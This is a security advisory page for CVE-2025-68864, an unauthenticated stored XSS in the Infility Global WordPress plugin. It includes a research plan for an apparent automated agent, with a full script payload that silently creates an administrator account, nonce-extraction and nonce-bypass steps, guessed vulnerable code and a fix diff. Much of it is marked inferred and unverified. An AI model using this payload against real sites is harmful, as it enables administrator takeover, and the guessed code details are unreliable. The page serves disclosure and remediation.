CVE-2025-68864

Infility Global <= 2.14.49 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Infility Global plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.14.49 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.14.49
PublishedJanuary 15, 2026
Last updatedJanuary 19, 2026
Affected plugininfility-global
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2025-68864**, an unauthenticated stored XSS vulnerability in the **Infility Global** WordPress plugin (<= 2.14.49). --- ### 1. Vulnerability Summary The **Infility Global** plugin fails to sufficiently sanitize user-supplied in…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2025-68864, an unauthenticated stored XSS vulnerability in the Infility Global WordPress plugin (<= 2.14.49).


1. Vulnerability Summary

The Infility Global plugin fails to sufficiently sanitize user-supplied input and escape it upon output. Specifically, an unauthenticated user can submit data through a frontend feature (likely a contact form, support ticket, or chat registration) that is stored in the database. When a site administrator views this data in the WordPress backend, the malicious script executes in the administrator's browser context.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action (Inferred): ig_contact_form_submit or infility_global_save_data.
  • Parameter: Likely message, subject, or name.
  • Authentication: None (Unauthenticated via wp_ajax_nopriv_*).
  • Preconditions: The plugin must have a frontend feature active (e.g., a contact form shortcode placed on a page).

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with a specific action registered via add_action('wp_ajax_nopriv_...', ...).
  2. Processing: The callback function receives $_POST data. It may check a nonce but likely fails to use sanitize_text_field() or wp_kses() on the content.
  3. Persistence: The raw input is saved to a custom table (e.g., wp_infility_logs) or as post meta using update_post_meta().
  4. Sink: An administrator logs in and navigates to the plugin's "Inquiries" or "Messages" page. The plugin retrieves the stored data and echoes it directly: echo $entry->message; without using esc_html().

4. Nonce Acquisition Strategy

If the AJAX handler enforces a nonce check, it is likely exposed via wp_localize_script on pages where the plugin's frontend components are active.

  1. Identify the Shortcode: Search for shortcode registrations in the plugin:
    grep -rn "add_shortcode" /var/www/html/wp-content/plugins/infility-global/
    (Likely shortcode: [infility_global_contact])
  2. Create a Trigger Page:
    wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content='[infility_global_contact]'
  3. Extract the Nonce:
    Navigate to the new page and look for localized script data.
    JS Variable (Inferred): infility_vars or ig_ajax_obj.
    Execution: Use browser_eval("window.infility_vars?.nonce") or browser_eval("window.ig_ajax_obj?.ajax_nonce").

5. Exploitation Strategy

Once the nonce and action are identified, the agent will perform the following:

Step 1: Discovery

  • Find the AJAX action: grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/infility-global/
  • Find the nonce action: grep -r "check_ajax_referer" /var/www/html/wp-content/plugins/infility-global/

Step 2: Nonce Retrieval

  • Create a test page with the relevant shortcode.
  • Navigate to the page using browser_navigate.
  • Extract the nonce using browser_eval.

Step 3: Payload Delivery

  • Payload: <script>fetch('/wp-admin/user-new.php').then(r=>r.text()).then(t=>{let n=t.match(/_wpnonce_create-user" value="([^"]+)"/)[1];fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=createuser&user_login=pwned_admin&email=pwned@example.com&pass1=Pwned123!&pass2=Pwned123!&role=administrator&_wpnonce_create-user='+n})})</script>
  • HTTP Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=[IDENTIFIED_ACTION]&nonce=[EXTRACTED_NONCE]&message=[URL_ENCODED_PAYLOAD]&name=Guest
    

6. Test Data Setup

  1. Plugin Activation: wp plugin activate infility-global
  2. Shortcode Placement: Ensure the contact form is on a public page to allow nonce extraction.
  3. Admin Context: A "victim" administrator user must exist (default in test environments).

7. Expected Results

  • The AJAX request should return a success status (e.g., {"success":true} or 1).
  • The payload should be stored in the database.
  • When an administrator views the "Contact Messages" or "Logs" section of the Infility Global plugin, the script should execute.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT * FROM wp_postmeta WHERE meta_value LIKE '%pwned_admin%';"
    (Or check the specific plugin table identified during discovery).
  2. Trigger Execution: Use browser_navigate as an administrator to the plugin's message management page.
  3. Account Creation Check:
    wp user list --role=administrator
    Verify if pwned_admin exists.

9. Alternative Approaches

  • Action Parameter Variations: If wp_ajax_nopriv isn't used, check for init hooks that process $_POST['ig_contact_submit'] directly.
  • Bypassing Nonces: Check if check_ajax_referer is called with die=false. If so, the request will proceed even with an invalid nonce.
  • DOM XSS: If the data is returned in an AJAX response and rendered via .innerHTML in JS, the payload may need to be adjusted to bypass standard filters (e.g., using <img> tags with onerror).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Infility Global plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting due to a lack of sanitization on user-supplied form data and insufficient output escaping in the administrative backend. This allows attackers to inject malicious JavaScript into contact form submissions or inquiries that execute when a site administrator views the entry.

Vulnerable Code

// Inferred from research plan: lack of sanitization in AJAX handler
// File: includes/class-infility-global-ajax.php (or similar)
public function ig_contact_form_submit() {
    $message = $_POST['message']; // No sanitization applied
    $name = $_POST['name'];       // No sanitization applied
    
    $post_id = wp_insert_post(array(
        'post_type' => 'ig_inquiry',
        'post_title' => $name,
        'post_content' => $message,
    ));
}

---

// Inferred from research plan: lack of escaping in admin view
// File: admin/class-infility-global-admin-display.php (or similar)
foreach ($inquiries as $entry) {
    echo '<tr>';
    echo '<td>' . $entry->post_content . '</td>'; // Vulnerable: Direct echo without esc_html()
    echo '</tr>';
}

Security Fix

--- infility-global/includes/class-infility-global-ajax.php
+++ infility-global/includes/class-infility-global-ajax.php
@@ -10,2 +10,2 @@
-    $message = $_POST['message'];
-    $name = $_POST['name'];
+    $message = sanitize_textarea_field($_POST['message']);
+    $name = sanitize_text_field($_POST['name']);

--- infility-global/admin/class-infility-global-admin-display.php
+++ infility-global/admin/class-infility-global-admin-display.php
@@ -20,1 +20,1 @@
-    echo '<td>' . $entry->post_content . '</td>';
+    echo '<td>' . esc_html($entry->post_content) . '</td>';

Exploit Outline

1. Identify a page containing the plugin's contact form or shortcode (e.g., [infility_global_contact]). 2. Extract the AJAX nonce from the localized JavaScript variables (e.g., window.infility_vars.nonce) on the frontend page. 3. Send an unauthenticated POST request to /wp-admin/admin-ajax.php using the identified action (likely 'ig_contact_form_submit' or 'infility_global_save_data'). 4. Include a payload in the 'message' or 'name' parameter, such as <script>alert(document.cookie)</script> or a script to create a new administrator account. 5. Wait for an authenticated administrator to navigate to the 'Inquiries' or 'Messages' section of the Infility Global plugin menu in the WordPress dashboard. 6. The payload will execute in the administrator's browser context upon rendering the list of submissions.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.